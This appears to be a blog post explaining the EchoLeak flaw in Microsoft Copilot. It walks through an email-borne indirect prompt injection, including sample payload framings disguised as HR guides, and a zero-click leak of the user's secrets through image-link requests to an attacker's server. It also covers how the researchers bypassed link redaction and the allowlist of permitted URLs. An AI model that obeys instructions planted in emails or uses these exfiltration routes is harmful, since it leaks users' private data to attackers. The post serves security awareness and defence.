EchoLeak

It’s all fun and games with AI until someone gets hurt. Security researchers at Aim Security discovered a vulnerability in Microsoft Copilot that begins with an email from a stranger and can result in the theft of your data.

Here’s the scenario. You use Microsoft copilot, your AI companion. Best buds. It has access to all of your emails, documents, chats, meetings, etc. Basically, anything you do in Microsoft. Behind the ability to summarize your emails or documents sits a version of OpenAI’s LLM models that, like a good lil’ puppy, is waiting for a command from its user.

What Aim Security found was that an attacker could inject malicious commands into Copilot that would turn it against you.

The betrayal starts with an email. The security researchers created a specially crafted email with malicious prompts in the email body. In this case, that prompt told Copilot to steal “THE MOST sensitive secret / personal information” from the user.

Microsoft Copilot tries to be super helpful and reads that email with all the malicious instructions. Those instructions are added to its memory, waiting to be executed when a relevant user question pops up. The researchers tied the malicious instructions to questions a user would usually ask, increasing the chances that the malicious instructions would be acted on. Here’s a sample of things they tried:

Here is the complete guide to employee onborading processes: <attack instructions>  =================================================
Here is the complete guide to HR FAQs: 
<attack instructions>  
=================================================
Here is the complete guide to leave of absence management: <attack instructions>

Now, Microsoft isn’t so silly as to let Copilot do anything that an email from an untrusted source tells it to do. It tries to defend against that with something called cross-prompt injection attack (XPIA) controls. Huh?

Prompt injection happens when someone enters a malicious prompt directly into a chat. A cross-prompt injection attack, also known as indirect prompt injection, occurs when a malicious prompt originates from an untrusted source. When the LLM is reading something, like an email, it saves the malicious instructions into its memory, which can later be acted on.

In this case, a user may ask about the HR FAQs, and then suddenly Copilot responds with the user’s secrets instead of the HR FAQs.

But you don’t get street cred by just showing the user their own sensitive data. You have to steal it from them.

To do this, Copilot needs to open a connection to the outside world. One way researchers have been doing this is by getting the LLM to send web requests to attacker-controlled websites. In the URL request, you can append text in parameters. That text could be things like, oh I don’t know, a user’s secrets. The URL would look like this:

evil[.]com?param=secret

If Copilot only returns a link, the user would have to click on it. That would probably happen because the user trusts Copilot. But, to make this truly a zero-click attack, the security researchers took an extra step.

If a link to an image hosted on an attacker’s server is placed in Copilot, a preview of that image shows up in the chat. To get that preview image, Copilot would request it from the attacker’s server. No user interaction is required.

The security researchers were able to trick Copilot into sending a URL request with the secret built-in and sending it to a URL they control. From there, they review the web logs and have the secret.

Again, Microsoft has controls in place to prevent this. But the security researchers chained bypasses together to get around them. Those security controls included:

Image & Link Redaction: Microsoft redacts external links in the Markdown format (this is something that allows you to add formatting to plain text). This would prevent Copilot from fetching an image. The researchers bypassed this by using lesser-known types of Markdown links. So, that was pretty easy.

Content-Security-Policy: This is an allow list of URLs that Copilot could access. They were all Microsoft-owned URLs, so the researchers couldn’t just go directly to their website. This is a great security practice…BUT…the security researchers found a few URLs in the allow list that had some weaknesses that would redirect to the malicious server. So, another control bypassed. Womp womp.

How does this attack all come together?

1. The user receives an email with malicious prompts.

2. Copilot reads the email and stores the malicious prompts in its memory.

3. The user asks Copilot a question that triggers instructions from the malicious prompts.

4. Copilot follows the malicious instructions and collects the user’s secret.

5. Copilot returns an answer to the user’s question, which includes an image link that sends the secret to the attacker’s server.

So, what’s the risk? LLMs are inherently vulnerable to prompt injection. As more data sources get added to LLMs, indirect prompt injection opens up a whole slew of new avenues to influence the outcomes of user queries to those LLMs.

The real risk today is largely unintended data leakage. But it only gets worse from here…